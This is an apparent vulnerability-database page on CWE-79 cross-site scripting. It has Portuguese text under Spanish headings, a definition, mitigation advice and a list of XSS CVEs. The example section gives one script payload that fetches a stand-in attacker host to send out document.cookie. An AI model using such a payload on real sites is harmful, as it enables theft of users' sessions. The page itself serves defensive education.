Fallos del tipo CWE-79

30.271 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-84260HIGHclick5 CRM add-on to Gravity Forms <= 1.0.3 - Unauthenticated Stored XSS via post_notificationsEPSS 0.3%CVE-2024-43952MEDIUMWordPress Esotera theme <= 1.2.5.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5252MEDIUMUltimate Addons for WPBakery Page Builder <= 3.19.20 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-84261HIGHclick5 CRM add-on to Contact Form 7 <= 1.0.4 - Unauthenticated Stored XSS via post_notificationsEPSS 0.3%CVE-2024-5251MEDIUMUltimate Addons for WPBakery Page Builder <= 3.19.20 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-44793MEDIUMA cross-site scripting (XSS) vulnerability in the component /managers/multiple_freeleech.php of Gazelle commit 63b3370 allows attackers to eEPSS 0.3%CVE-2023-5691MEDIUMThe Chatbot for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in version 2.3.9 due to insufEPSS 0.3%CVE-2025-47088MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-30315MEDIUMAdobe Connect | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-11068MEDIUMwestboy CicadasCMS save cross site scriptingEPSS 0.3%CVE-2024-5255MEDIUMUltimate Addons for WPBakery Page Builder <= 3.19.20 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-12452MEDIUMZiggeo <= 3.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-13140LOWStored Cross-Site Scripting in Canarytokens.orgEPSS 0.3%CVE-2024-13399MEDIUMGosign – Posts Slider Block <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-41347MEDIUMopenflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/settings.phpEPSS 0.3%CVE-2025-11485MEDIUMSourceCodester Student Grades Management System Manage Users admin.php add_user cross site scriptingEPSS 0.3%CVE-2026-100376MEDIUMTemplateSandbox can be abused for XSS by asking another user to preview a page with a certain sandbox prefixEPSS 0.3%CVE-2026-100673HIGHGrav Data Manager before 1.4.5 Stored XSS via item-detail viewEPSS 0.3%CVE-2025-47117MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-47085MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%